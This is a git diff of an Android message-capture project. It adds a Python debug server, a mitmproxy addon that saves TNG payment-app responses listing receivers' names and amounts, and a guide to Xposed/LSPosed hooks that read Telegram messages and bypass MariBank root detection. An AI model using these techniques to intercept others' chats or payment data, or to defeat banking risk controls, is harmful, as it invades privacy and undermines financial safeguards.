android:layout_height="52dp"
|
||||
android:layout_marginTop="8dp"
|
||||
android:background="@color/white"
|
||||
android:foreground="?android:attr/selectableItemBackground"
|
||||
android:gravity="center_vertical"
|
||||
android:orientation="horizontal"
|
||||
android:paddingStart="16dp"
|
||||
android:paddingEnd="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/keep_alive_settings_entry"
|
||||
android:textColor="#333333"
|
||||
android:textSize="16sp" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="›"
|
||||
android:textColor="#999999"
|
||||
android:textSize="20sp" />
|
||||
</LinearLayout>
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="56dp"
|
||||
|
||||
@@ -1,4 +1,17 @@
|
||||
<resources>
|
||||
<string name="app_name">通知管理</string>
|
||||
<string name="key">#$%^*()XCVBNM</string>
|
||||
<string name="keep_alive_settings_title">App 保活设置</string>
|
||||
<string name="keep_alive_settings_hint">TG 在后台时主要靠「通知监听」收消息,不必反复打开 TG。静默保活:进程还在就不弹 App;只有被系统杀掉才短暂启动并立刻回桌面。</string>
|
||||
<string name="keep_alive_stealth_mode">静默保活(推荐,进程在则不弹 App)</string>
|
||||
<string name="keep_alive_enabled">启用 App 保活</string>
|
||||
<string name="keep_alive_interval_label">定期间隔(1–14 分钟需保持「监听中」;15 分钟起后台也可用)</string>
|
||||
<string name="keep_alive_cooldown_label">同一 App 唤醒冷却</string>
|
||||
<string name="keep_alive_prefer_root">优先使用 Root 唤醒</string>
|
||||
<string name="keep_alive_return_home">唤起后自动返回桌面</string>
|
||||
<string name="keep_alive_kill_before_launch">启动前先强制停止(彻底重启 / 刷新 Hook)</string>
|
||||
<string name="keep_alive_wake_now">立即唤醒全部监听 App</string>
|
||||
<string name="keep_alive_wake_started">已开始唤醒,请查看监听日志</string>
|
||||
<string name="keep_alive_wake_disabled">请先开启 App 保活</string>
|
||||
<string name="keep_alive_settings_entry">App 保活设置</string>
|
||||
</resources>
|
||||
311
debug-server/server.py
Normal file
311
debug-server/server.py
Normal file
@@ -0,0 +1,311 @@
|
||||
#!/usr/bin/env python3
|
||||
"""notiMessage 本地调试转发服务 — 在 PC 浏览器查看手机抓取的消息。"""
|
||||
|
||||
import json
|
||||
import threading
|
||||
from collections import deque
|
||||
from datetime import datetime
|
||||
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
|
||||
from urllib.parse import urlparse
|
||||
|
||||
HOST = "0.0.0.0"
|
||||
PORT = 8765
|
||||
MAX_MESSAGES = 500
|
||||
|
||||
_messages = deque(maxlen=MAX_MESSAGES)
|
||||
_lock = threading.Lock()
|
||||
|
||||
|
||||
def _now_iso():
|
||||
return datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
|
||||
def _resolve_group(payload):
|
||||
group = (payload.get("group") or payload.get("title") or "").strip()
|
||||
if group and "TLRPC$" not in group and "org.telegram.tgnet." not in group:
|
||||
return group
|
||||
app = payload.get("appName") or payload.get("packageName") or ""
|
||||
return app + " / 未分类" if app else "未分类"
|
||||
|
||||
|
||||
def _add_message(payload):
|
||||
item = dict(payload)
|
||||
item["group"] = _resolve_group(payload)
|
||||
item["receivedAt"] = _now_iso()
|
||||
with _lock:
|
||||
_messages.appendleft(item)
|
||||
item["id"] = len(_messages)
|
||||
print("[{0}] [{1}] [{2}] {3} | {4}".format(
|
||||
_now_iso(),
|
||||
item["group"],
|
||||
payload.get("source", "?"),
|
||||
payload.get("appName", payload.get("packageName", "")),
|
||||
(payload.get("content", "") or "")[:80],
|
||||
))
|
||||
return item
|
||||
|
||||
|
||||
def _json_response(handler, status, data):
|
||||
body = json.dumps(data, ensure_ascii=False).encode("utf-8")
|
||||
handler.send_response(status)
|
||||
handler.send_header("Content-Type", "application/json; charset=utf-8")
|
||||
handler.send_header("Access-Control-Allow-Origin", "*")
|
||||
handler.send_header("Content-Length", str(len(body)))
|
||||
handler.end_headers()
|
||||
handler.wfile.write(body)
|
||||
|
||||
|
||||
def _group_messages(messages):
|
||||
groups = {}
|
||||
for msg in messages:
|
||||
key = msg.get("group") or _resolve_group(msg)
|
||||
if key not in groups:
|
||||
groups[key] = {
|
||||
"key": key,
|
||||
"appName": msg.get("appName") or msg.get("packageName") or "",
|
||||
"count": 0,
|
||||
"latestAt": msg.get("receivedAt", ""),
|
||||
"messages": [],
|
||||
}
|
||||
g = groups[key]
|
||||
g["count"] += 1
|
||||
g["messages"].append(msg)
|
||||
if (msg.get("receivedAt") or "") > (g.get("latestAt") or ""):
|
||||
g["latestAt"] = msg.get("receivedAt", "")
|
||||
result = sorted(groups.values(), key=lambda x: x.get("latestAt", ""), reverse=True)
|
||||
for g in result:
|
||||
g["messages"].sort(key=lambda m: m.get("receivedAt", ""), reverse=True)
|
||||
return result
|
||||
|
||||
|
||||
def _html_page():
|
||||
html = """<!DOCTYPE html>
|
||||
<html lang="zh-CN">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<title>notiMessage 调试台</title>
|
||||
<style>
|
||||
* { box-sizing: border-box; }
|
||||
body { font-family: ui-monospace, Consolas, monospace; margin: 0; background: #0f1115; color: #e6edf3; height: 100vh; display: flex; flex-direction: column; }
|
||||
header { padding: 14px 20px; background: #161b22; border-bottom: 1px solid #30363d; display: flex; gap: 14px; align-items: center; flex-wrap: wrap; flex-shrink: 0; }
|
||||
h1 { margin: 0; font-size: 18px; }
|
||||
.stat { color: #8b949e; font-size: 13px; }
|
||||
button { background: #238636; color: #fff; border: 0; padding: 8px 14px; border-radius: 6px; cursor: pointer; font-family: inherit; font-size: 13px; }
|
||||
button.secondary { background: #21262d; border: 1px solid #30363d; }
|
||||
.layout { display: flex; flex: 1; min-height: 0; }
|
||||
.sidebar { width: 280px; border-right: 1px solid #30363d; background: #161b22; overflow-y: auto; flex-shrink: 0; }
|
||||
.sidebar h2 { margin: 0; padding: 14px 16px 8px; font-size: 13px; color: #8b949e; font-weight: 600; }
|
||||
.group-item { padding: 12px 16px; border-bottom: 1px solid #21262d; cursor: pointer; }
|
||||
.group-item:hover { background: #1c2128; }
|
||||
.group-item.active { background: #1f2937; border-left: 3px solid #58a6ff; padding-left: 13px; }
|
||||
.group-name { color: #e6edf3; font-size: 13px; word-break: break-word; }
|
||||
.group-meta { color: #8b949e; font-size: 11px; margin-top: 4px; }
|
||||
.content-panel { flex: 1; overflow-y: auto; padding: 16px 20px; }
|
||||
.panel-title { font-size: 16px; color: #ffa657; margin: 0 0 12px; word-break: break-word; }
|
||||
.msg { padding: 12px 14px; margin-bottom: 10px; background: #161b22; border: 1px solid #21262d; border-radius: 8px; }
|
||||
.msg-head { display: flex; gap: 10px; flex-wrap: wrap; margin-bottom: 6px; font-size: 11px; color: #8b949e; }
|
||||
.msg-source { color: #58a6ff; }
|
||||
.msg-sender { color: #d2a8ff; }
|
||||
.msg-body { color: #e6edf3; font-size: 13px; line-height: 1.5; word-break: break-word; white-space: pre-wrap; }
|
||||
.empty { padding: 40px; text-align: center; color: #8b949e; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<header>
|
||||
<h1>notiMessage 调试台</h1>
|
||||
<span class="stat" id="count">0 条</span>
|
||||
<span class="stat" id="groupCount">0 群</span>
|
||||
<span class="stat" id="updated">-</span>
|
||||
<button onclick="loadMessages()">刷新</button>
|
||||
<button class="secondary" onclick="clearMessages()">清空</button>
|
||||
</header>
|
||||
<div class="layout">
|
||||
<aside class="sidebar">
|
||||
<h2>群 / 会话</h2>
|
||||
<div id="groups"></div>
|
||||
</aside>
|
||||
<main class="content-panel">
|
||||
<h2 class="panel-title" id="panelTitle">请选择左侧群聊</h2>
|
||||
<div id="messages"></div>
|
||||
<div class="empty" id="empty" style="display:none">暂无消息,请在手机上开启监听并收一条 Telegram 消息</div>
|
||||
</main>
|
||||
</div>
|
||||
<script>
|
||||
let groups = [];
|
||||
let activeGroup = null;
|
||||
|
||||
function groupKey(g) { return g.key; }
|
||||
|
||||
async function loadMessages() {
|
||||
const res = await fetch('/api/groups');
|
||||
groups = await res.json();
|
||||
document.getElementById('count').textContent =
|
||||
groups.reduce((n, g) => n + g.count, 0) + ' 条';
|
||||
document.getElementById('groupCount').textContent = groups.length + ' 群';
|
||||
document.getElementById('updated').textContent = '更新: ' + new Date().toLocaleTimeString();
|
||||
const empty = document.getElementById('empty');
|
||||
const groupsEl = document.getElementById('groups');
|
||||
groupsEl.innerHTML = '';
|
||||
|
||||
if (!groups.length) {
|
||||
empty.style.display = 'block';
|
||||
document.getElementById('messages').innerHTML = '';
|
||||
document.getElementById('panelTitle').textContent = '请选择左侧群聊';
|
||||
activeGroup = null;
|
||||
return;
|
||||
}
|
||||
empty.style.display = 'none';
|
||||
|
||||
if (!activeGroup || !groups.find(g => groupKey(g) === activeGroup)) {
|
||||
activeGroup = groupKey(groups[0]);
|
||||
}
|
||||
|
||||
for (const g of groups) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'group-item' + (groupKey(g) === activeGroup ? ' active' : '');
|
||||
div.onclick = () => { activeGroup = groupKey(g); loadMessages(); };
|
||||
div.innerHTML = `
|
||||
<div class="group-name">${esc(g.key)}</div>
|
||||
<div class="group-meta">${esc(g.appName || '')} · ${g.count} 条 · ${esc(g.latestAt || '')}</div>`;
|
||||
groupsEl.appendChild(div);
|
||||
}
|
||||
renderActiveGroup();
|
||||
}
|
||||
|
||||
function renderActiveGroup() {
|
||||
const g = groups.find(x => groupKey(x) === activeGroup);
|
||||
const panel = document.getElementById('messages');
|
||||
if (!g) {
|
||||
panel.innerHTML = '';
|
||||
return;
|
||||
}
|
||||
document.getElementById('panelTitle').textContent = g.key + '(' + g.count + ' 条)';
|
||||
panel.innerHTML = '';
|
||||
for (const m of g.messages) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'msg';
|
||||
const sender = (m.title && m.title !== g.key) ? m.title : '';
|
||||
div.innerHTML = `
|
||||
<div class="msg-head">
|
||||
<span>${esc(m.receivedAt || '')}</span>
|
||||
<span class="msg-source">${esc(m.source || '')}</span>
|
||||
${sender ? `<span class="msg-sender">${esc(sender)}</span>` : ''}
|
||||
</div>
|
||||
<div class="msg-body">${esc(m.content || '')}</div>`;
|
||||
panel.appendChild(div);
|
||||
}
|
||||
}
|
||||
|
||||
async function clearMessages() {
|
||||
await fetch('/api/messages', { method: 'DELETE' });
|
||||
activeGroup = null;
|
||||
loadMessages();
|
||||
}
|
||||
|
||||
function esc(s) {
|
||||
return String(s).replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>');
|
||||
}
|
||||
loadMessages();
|
||||
setInterval(loadMessages, 2000);
|
||||
</script>
|
||||
</body>
|
||||
</html>"""
|
||||
return html.encode("utf-8")
|
||||
|
||||
|
||||
class Handler(BaseHTTPRequestHandler):
|
||||
def log_message(self, fmt, *args):
|
||||
if self.path.startswith("/api/messages") and self.command == "GET":
|
||||
return
|
||||
BaseHTTPRequestHandler.log_message(self, fmt, *args)
|
||||
|
||||
def do_OPTIONS(self):
|
||||
self.send_response(204)
|
||||
self.send_header("Access-Control-Allow-Origin", "*")
|
||||
self.send_header("Access-Control-Allow-Methods", "GET, POST, DELETE, OPTIONS")
|
||||
self.send_header("Access-Control-Allow-Headers", "Content-Type")
|
||||
self.end_headers()
|
||||
|
||||
def do_GET(self):
|
||||
path = urlparse(self.path).path
|
||||
if path == "/":
|
||||
body = _html_page()
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "text/html; charset=utf-8")
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
return
|
||||
if path == "/api/messages":
|
||||
with _lock:
|
||||
data = list(_messages)
|
||||
_json_response(self, 200, data)
|
||||
return
|
||||
if path == "/api/groups":
|
||||
with _lock:
|
||||
data = _group_messages(list(_messages))
|
||||
_json_response(self, 200, data)
|
||||
return
|
||||
if path == "/health":
|
||||
_json_response(self, 200, {"ok": True})
|
||||
return
|
||||
_json_response(self, 404, {"error": "not found"})
|
||||
|
||||
def do_POST(self):
|
||||
path = urlparse(self.path).path
|
||||
if path not in ("/api/messages", "/api/debug/push", "/api/bills/app-upload"):
|
||||
_json_response(self, 404, {"error": "not found"})
|
||||
return
|
||||
length = int(self.headers.get("Content-Length", "0"))
|
||||
raw = self.rfile.read(length) if length else b"{}"
|
||||
try:
|
||||
payload = json.loads(raw.decode("utf-8") or "{}")
|
||||
except ValueError:
|
||||
_json_response(self, 400, {"error": "invalid json"})
|
||||
return
|
||||
|
||||
if path == "/api/bills/app-upload":
|
||||
data = payload.get("data") or {}
|
||||
normalized = {
|
||||
"source": "app-upload",
|
||||
"packageName": payload.get("packageName", ""),
|
||||
"appName": payload.get("appName", ""),
|
||||
"title": data.get("title", ""),
|
||||
"content": data.get("context", data.get("content", "")),
|
||||
"timestamp": data.get("timestamp"),
|
||||
"raw": payload,
|
||||
}
|
||||
else:
|
||||
normalized = payload
|
||||
|
||||
if not normalized.get("group"):
|
||||
normalized["group"] = _resolve_group(normalized)
|
||||
|
||||
item = _add_message(normalized)
|
||||
_json_response(self, 200, {"ok": True, "id": item.get("id")})
|
||||
|
||||
def do_DELETE(self):
|
||||
path = urlparse(self.path).path
|
||||
if path != "/api/messages":
|
||||
_json_response(self, 404, {"error": "not found"})
|
||||
return
|
||||
with _lock:
|
||||
_messages.clear()
|
||||
_json_response(self, 200, {"ok": True})
|
||||
|
||||
|
||||
def main():
|
||||
server = ThreadingHTTPServer((HOST, PORT), Handler)
|
||||
print("notiMessage debug server: http://127.0.0.1:{0}".format(PORT))
|
||||
print("浏览器打开上述地址即可查看消息")
|
||||
print("手机经 USB 调试时先执行: adb reverse tcp:8765 tcp:8765")
|
||||
print("Wi-Fi 调试时将 AppConfig.DEBUG_SERVER_URL 改为 http://<PC局域网IP>:8765")
|
||||
try:
|
||||
server.serve_forever()
|
||||
except KeyboardInterrupt:
|
||||
print("\nstopped")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
137
debug-server/tng_mmp_mitm_addon.py
Normal file
137
debug-server/tng_mmp_mitm_addon.py
Normal file
@@ -0,0 +1,137 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
mitmproxy 插件:自动保存 TNG Money Packet 含 receiverList 的 API 响应。
|
||||
|
||||
用法:
|
||||
mitmdump -s debug-server/tng_mmp_mitm_addon.py -p 8888
|
||||
或
|
||||
mitmweb -s debug-server/tng_mmp_mitm_addon.py -p 8888
|
||||
|
||||
手机 WiFi 代理 -> PC_IP:8888,安装 mitmproxy CA 后打开 TNG 红包 Leaderboard。
|
||||
命中响应会打印到终端,并写入 reverse/dumps/mitm_mmp/
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
from datetime import datetime
|
||||
|
||||
from mitmproxy import ctx, http
|
||||
|
||||
OUTPUT_DIR = os.path.join(
|
||||
os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
|
||||
"reverse",
|
||||
"dumps",
|
||||
"mitm_mmp",
|
||||
)
|
||||
|
||||
MMP_HINTS = (
|
||||
"receiverlist",
|
||||
"claimedamount",
|
||||
"mmpreceiver",
|
||||
"moneypacket",
|
||||
"merchantmoneypacket",
|
||||
)
|
||||
|
||||
HOST_HINTS = (
|
||||
"ebuckler.com",
|
||||
"tngdigital.com",
|
||||
"alipaydev.com",
|
||||
)
|
||||
|
||||
|
||||
def _ensure_dir() -> None:
|
||||
os.makedirs(OUTPUT_DIR, exist_ok=True)
|
||||
|
||||
|
||||
def _looks_like_mmp(body: str) -> bool:
|
||||
lower = body.lower()
|
||||
if any(h in lower for h in MMP_HINTS):
|
||||
return True
|
||||
return "mmp" in lower and "amount" in lower
|
||||
|
||||
|
||||
def _extract_receiver_list(obj):
|
||||
"""递归找 receiverList 并格式化为 [(nickname, amount), ...]"""
|
||||
rows = []
|
||||
|
||||
def walk(node):
|
||||
if isinstance(node, dict):
|
||||
if "receiverList" in node and isinstance(node["receiverList"], list):
|
||||
for item in node["receiverList"]:
|
||||
if not isinstance(item, dict):
|
||||
continue
|
||||
name = (
|
||||
item.get("nickName")
|
||||
or item.get("displayName")
|
||||
or item.get("userName")
|
||||
or item.get("receiverName")
|
||||
or item.get("name")
|
||||
)
|
||||
amount = (
|
||||
item.get("claimedAmount")
|
||||
or item.get("receiveAmount")
|
||||
or item.get("amount")
|
||||
)
|
||||
if name and amount is not None:
|
||||
rows.append((str(name), str(amount)))
|
||||
for v in node.values():
|
||||
walk(v)
|
||||
elif isinstance(node, list):
|
||||
for v in node:
|
||||
walk(v)
|
||||
|
||||
walk(obj)
|
||||
return rows
|
||||
|
||||
|
||||
class TngMmpCapture:
|
||||
def __init__(self) -> None:
|
||||
_ensure_dir()
|
||||
self.count = 0
|
||||
ctx.log.info(f"TNG MMP capture -> {OUTPUT_DIR}")
|
||||
|
||||
def response(self, flow: http.HTTPFlow) -> None:
|
||||
if flow.response is None or not flow.response.content:
|
||||
return
|
||||
host = (flow.request.host or "").lower()
|
||||
if not any(h in host for h in HOST_HINTS):
|
||||
return
|
||||
try:
|
||||
text = flow.response.get_text(strict=False)
|
||||
except Exception:
|
||||
return
|
||||
if not text or not _looks_like_mmp(text):
|
||||
return
|
||||
|
||||
self.count += 1
|
||||
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
safe_host = re.sub(r"[^\w.-]", "_", host)[:40]
|
||||
path = os.path.join(OUTPUT_DIR, f"mmp_{ts}_{self.count}_{safe_host}.json")
|
||||
|
||||
summary_lines = [
|
||||
f"[TNG-MMP #{self.count}] {flow.request.method} {flow.request.url}",
|
||||
]
|
||||
try:
|
||||
data = json.loads(text)
|
||||
with open(path, "w", encoding="utf-8") as f:
|
||||
json.dump(data, f, ensure_ascii=False, indent=2)
|
||||
rows = _extract_receiver_list(data)
|
||||
if rows:
|
||||
summary_lines.append(f" receiverList ({len(rows)} 条):")
|
||||
for name, amount in rows:
|
||||
summary_lines.append(f" {name} -> {amount}")
|
||||
else:
|
||||
summary_lines.append(" (JSON 已保存,未解析到 receiverList)")
|
||||
except json.JSONDecodeError:
|
||||
with open(path, "w", encoding="utf-8") as f:
|
||||
f.write(text)
|
||||
summary_lines.append(" (非 JSON,已保存原文)")
|
||||
|
||||
summary_lines.append(f" saved: {path}")
|
||||
ctx.log.info("\n".join(summary_lines))
|
||||
|
||||
|
||||
addons = [TngMmpCapture()]
|
||||
329
docs/Hook指南.md
Normal file
329
docs/Hook指南.md
Normal file
@@ -0,0 +1,329 @@
|
||||
# 消息抓取架构与 Hook 扩展指南
|
||||
|
||||
本文说明 notiMessage 的双通道抓取机制、Telegram 的实现方式、**Xposed 与 LSPosed**,以及日后接入其他 App 的步骤。
|
||||
|
||||
> 手机部署步骤见 [`手机操作手册.md`](手机操作手册.md) · **Telegram 专文**见 [`Telegram抓消息说明.md`](Telegram抓消息说明.md) · MariBank 见 [`MariBank风控与载荷说明.md`](MariBank风控与载荷说明.md)
|
||||
|
||||
---
|
||||
|
||||
## 0. Xposed 与 LSPosed
|
||||
|
||||
### 0.1 是什么关系
|
||||
|
||||
| | **Xposed(经典)** | **LSPosed** |
|
||||
|--|-------------------|-------------|
|
||||
| 性质 | Hook 框架概念 + 老实现(改 `/system`) | 现代实现,**不动 system** |
|
||||
| 依赖 | 老 Root / Recovery | **Magisk + Zygisk** |
|
||||
| 作用域 | 全局或 Installer 里选 | **按 App 勾选** |
|
||||
| 模块 API | `IXposedHookLoadPackage` 等 | **同一套 API** |
|
||||
| 本项目 | 源码在 `xposed-module/` | **手机上实际加载框架** |
|
||||
|
||||
日常说法:**「Xposed 模块」= APK**;**「启用 Xposed」= 在 LSPosed 里打开模块并勾选作用域**。
|
||||
|
||||
### 0.2 与本项目的关系
|
||||
|
||||
```
|
||||
Magisk → Zygisk → LSPosed → com.miraclegarden.smsmessage.xposed
|
||||
├── MariBankRootBypassHook(银行)
|
||||
├── TelegramMessageHook(Telegram)
|
||||
└── …
|
||||
```
|
||||
|
||||
测银行 App 时通常还需 **Shamiko**(Hide Magisk),与 LSPosed 分工见 [`MariBank风控与载荷说明.md` §6](MariBank风控与载荷说明.md)。
|
||||
|
||||
### 0.3 与其他工具对比
|
||||
|
||||
| 工具 | 特点 |
|
||||
|------|------|
|
||||
| **LSPosed** | 常驻、开机自动,适合银行 bypass |
|
||||
| **Frida** | 临时 attach,与 LSPosed 同时开易冲突 |
|
||||
| **Magisk 模块** | 改系统属性(serial),不是 Hook Java |
|
||||
|
||||
---
|
||||
|
||||
## 1. 总体架构
|
||||
|
||||
notiMessage 使用 **两条独立通道** 抓取消息,互为补充:
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────────┐
|
||||
│ 目标 App(如 Telegram) │
|
||||
└───────────────┬─────────────────────────────┬───────────────────┘
|
||||
│ │
|
||||
后台/锁屏弹系统通知 前台打开 App、消息入库/解码
|
||||
│ │
|
||||
▼ ▼
|
||||
NotificationListenerService Xposed Hook 模块
|
||||
(NotificationService) (xposed-module)
|
||||
│ │
|
||||
│ │ Broadcast
|
||||
│ ▼
|
||||
│ HookMessageReceiver
|
||||
│ │ goAsync()
|
||||
│ ├─ MessageLogStore(立即写入)
|
||||
│ ├─ DebugForwarder(直接转发 PC)
|
||||
│ └─ submitFromHook(仅正式上传模式)
|
||||
│ │
|
||||
└──────────────┬──────────────┘
|
||||
▼
|
||||
NotificationService.submitNotification()(通知通道)
|
||||
│
|
||||
┌────────────────┼────────────────┐
|
||||
▼ ▼ ▼
|
||||
MessageLogStore DebugForwarder (可选)正式后端上传
|
||||
(App 本地日志) (PC 调试台) AppConfig.ENABLE_SERVER_UPLOAD
|
||||
```
|
||||
|
||||
| 通道 | 触发条件 | 代码入口 | 日志前缀 |
|
||||
|------|----------|----------|----------|
|
||||
| **通知监听** | 目标 App 在后台且弹出系统通知 | `NotificationService.onNotificationPosted()` | 无前缀 |
|
||||
| **Hook** | 目标 App 进程收到新消息(通常在前台) | `HookMessageReceiver` → 直接 `DebugForwarder` | `[Hook/xposed_telegram]` 等 |
|
||||
|
||||
**重要**:仅开通知监听时,目标 App 在前台通常 **不会** 产生系统通知,因此抓不到消息。要覆盖前台场景,必须启用 Xposed Hook。
|
||||
|
||||
---
|
||||
|
||||
## 2. Telegram 实现方式
|
||||
|
||||
> **完整安装、双通道、排错、logcat**:见专文 [`Telegram抓消息说明.md`](Telegram抓消息说明.md)。本节保留架构摘要。
|
||||
|
||||
### 2.1 包名与作用域
|
||||
|
||||
Pixel 6 等设备上 Telegram 常见包名:
|
||||
|
||||
| 安装来源 | 包名 |
|
||||
|----------|------|
|
||||
| Play / 官网 APK | `org.telegram.messenger` |
|
||||
| 部分渠道 / Web 版 | `org.telegram.messenger.web` |
|
||||
|
||||
LSPosed 作用域需勾选 **目标 Telegram 包名** + **notiMessage 主 App**。
|
||||
|
||||
默认作用域见 `xposed-module/src/main/res/values/arrays.xml`。
|
||||
|
||||
### 2.2 为何不 Hook SQLite?
|
||||
|
||||
Telegram 消息存在 SQLite 的 **`data` 字段(加密二进制 TL 序列化)**,不是明文 `content`/`text`。
|
||||
|
||||
通用 `SqliteMessageHook` 只能读明文列,对 Telegram **无效**。因此单独实现 `TelegramMessageHook`。
|
||||
|
||||
### 2.3 Hook 点
|
||||
|
||||
**主路径**:Hook `NotificationCenter.postNotificationName(int, Object[])`
|
||||
|
||||
- 读取静态字段 `NotificationCenter.didReceiveNewMessages` 作为事件 ID
|
||||
- 当 `id == didReceiveNewMessages` 时,从参数里的 `List<MessageObject>` 取新消息
|
||||
- 只处理 **非 outgoing**(`messageOwner.out == false`)的消息
|
||||
|
||||
**兜底路径**:Hook `MessageObject` 全部构造函数(主路径失败时启用)
|
||||
|
||||
源码位置:`xposed-module/.../hook/TelegramMessageHook.java`
|
||||
|
||||
### 2.4 字段提取逻辑
|
||||
|
||||
| 字段 | 提取方式 | 用途 |
|
||||
|------|----------|------|
|
||||
| **群名/会话名** | `MessagesController.getPeerTitle(dialogId)` → `MessageObject.getName()` → `getChat().title` | 分组标题、转发 `group` |
|
||||
| **发送者** | `MessageObject.getFromName()` | 群内消息前缀 `发送者: 内容` |
|
||||
| **正文** | `messageText` → `messageOwner.message` → `caption` | 文本内容 |
|
||||
| **图片+说明** | 识别 `[图片]` 等媒体标签 + 合并 `caption` | 避免只显示「图片」丢失说明 |
|
||||
| **dialogId** | `MessageObject.getDialogId()` | 去重键 `dialogId:messageId` |
|
||||
|
||||
**注意**:不要把 `messageOwner.from_id`(`TLRPC$TL_peerUser` 对象)直接 `toString()` 当标题,会出现 `TLRPC$TL_peerUser@xxxx`。
|
||||
|
||||
### 2.5 转发到主 App
|
||||
|
||||
Hook 模块通过 `HookForwarder` 发送广播:
|
||||
|
||||
```
|
||||
Action: com.miraclegarden.smsmessage.action.HOOK_MESSAGE
|
||||
Package: com.miraclegarden.smsmessage
|
||||
Extras: packageName, title, content, timestamp, source=xposed_telegram
|
||||
```
|
||||
|
||||
主 App 的 `HookMessageReceiver` 接收后:
|
||||
|
||||
1. 检查该 `packageName` 是否在监听列表(`App.getMessageByNotiList`)
|
||||
2. 写本地日志(`MessageLogStore`,立即持久化)
|
||||
3. **直接**转发 PC(`DebugForwarder`,不依赖 `startService`,后台可用)
|
||||
4. 若开启正式上传(`ENABLE_SERVER_UPLOAD`),再经 `submitFromHook` 交给 `NotificationService`
|
||||
|
||||
---
|
||||
|
||||
## 3. 主 App 相关模块
|
||||
|
||||
| 文件 | 职责 |
|
||||
|------|------|
|
||||
| `NotificationService.java` | 通知监听 + 统一提交入口 |
|
||||
| `HookMessageReceiver.java` | 接收 Xposed 广播 |
|
||||
| `MessageLogStore.java` | 日志持久化(后台也能保留历史) |
|
||||
| `DebugForwarder.java` | POST 到 PC 调试服务 |
|
||||
| `AppConfig.java` | `ENABLE_DEBUG_FORWARD`、`ENABLE_SERVER_UPLOAD` 开关 |
|
||||
|
||||
### PC 调试台
|
||||
|
||||
```powershell
|
||||
# 启动本地服务(含 adb reverse)
|
||||
powershell -ExecutionPolicy Bypass -File scripts\start-debug-server.ps1
|
||||
# 浏览器打开 http://127.0.0.1:8765 ,按群/会话分组展示
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. 日后接入其他 App 的步骤
|
||||
|
||||
### 4.1 先判断用哪种 Hook 策略
|
||||
|
||||
```
|
||||
目标 App 前台消息是否需要抓取?
|
||||
├─ 否 → 仅通知监听即可,在 App「监听设置」里添加包名
|
||||
└─ 是 → 需要 Xposed Hook
|
||||
│
|
||||
├─ 消息以明文写入 SQLite(content/text/body 等)?
|
||||
│ └─ 是 → 可复用 SqliteMessageHook(默认兜底)
|
||||
│
|
||||
├─ 微信?
|
||||
│ └─ 是 → 已有 WeChatMessageHook(Hook WCDB message 表)
|
||||
│
|
||||
└─ 其他(Telegram、WhatsApp、银行 App 等)
|
||||
└─ 需编写 **专用 Hook 类**
|
||||
```
|
||||
|
||||
### 4.2 新增专用 Hook 的标准流程
|
||||
|
||||
以新 App `com.example.chat` 为例:
|
||||
|
||||
#### 步骤 1:分析目标 App
|
||||
|
||||
1. 用 `adb shell pm path <包名>` 拉出 APK
|
||||
2. jadx / dexdump 找消息解码后的类(类似 Telegram 的 `MessageObject`)
|
||||
3. 确认:消息明文出现在哪个字段、哪个时机(构造函数 / 事件总线 / 通知回调)
|
||||
|
||||
#### 步骤 2:编写 Hook 类
|
||||
|
||||
在 `xposed-module/src/main/java/.../hook/` 新建 `ExampleChatMessageHook.java`:
|
||||
|
||||
```java
|
||||
public final class ExampleChatMessageHook {
|
||||
public static void install(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
// 1. findClass + findAndHookMethod / hookAllConstructors
|
||||
// 2. 提取 title(群名)、content(正文)、过滤 outgoing/系统消息
|
||||
// 3. 去重(messageId + dialogId)
|
||||
// 4. HookForwarder.forward(context, lpparam.packageName, title, content, "xposed_example");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
在 `HookBridge.java` 增加 source 常量,例如 `SOURCE_XPOSED_EXAMPLE = "xposed_example"`。
|
||||
|
||||
#### 步骤 3:注册到 MainHook
|
||||
|
||||
编辑 `MainHook.java`:
|
||||
|
||||
```java
|
||||
if ("com.example.chat".equals(lpparam.packageName)) {
|
||||
ExampleChatMessageHook.install(lpparam);
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
#### 步骤 4:更新 LSPosed 作用域
|
||||
|
||||
编辑 `xposed-module/src/main/res/values/arrays.xml`:
|
||||
|
||||
```xml
|
||||
<item>com.example.chat</item>
|
||||
```
|
||||
|
||||
#### 步骤 5:主 App 添加监听
|
||||
|
||||
在 notiMessage「监听设置」中添加该 App(或通过 `shared_prefs/server.xml` 的 `saveNotiList`)。
|
||||
|
||||
`bankInfoId` 本地调试可用 `local:<包名>`。
|
||||
|
||||
#### 步骤 6:构建、安装、验证
|
||||
|
||||
```powershell
|
||||
# 完整安装(主 App + Xposed + LSPosed 作用域)
|
||||
powershell -ExecutionPolicy Bypass -File scripts\install-full.ps1
|
||||
```
|
||||
|
||||
验证清单:
|
||||
|
||||
- [ ] LSPosed 中模块已启用,作用域勾选 **目标 App + notiMessage**
|
||||
- [ ] 强制停止并重启目标 App(让 Hook 重新加载)
|
||||
- [ ] notiMessage 监听控制台「开始监听」
|
||||
- [ ] **后台场景**:收消息 → 通知通道有日志
|
||||
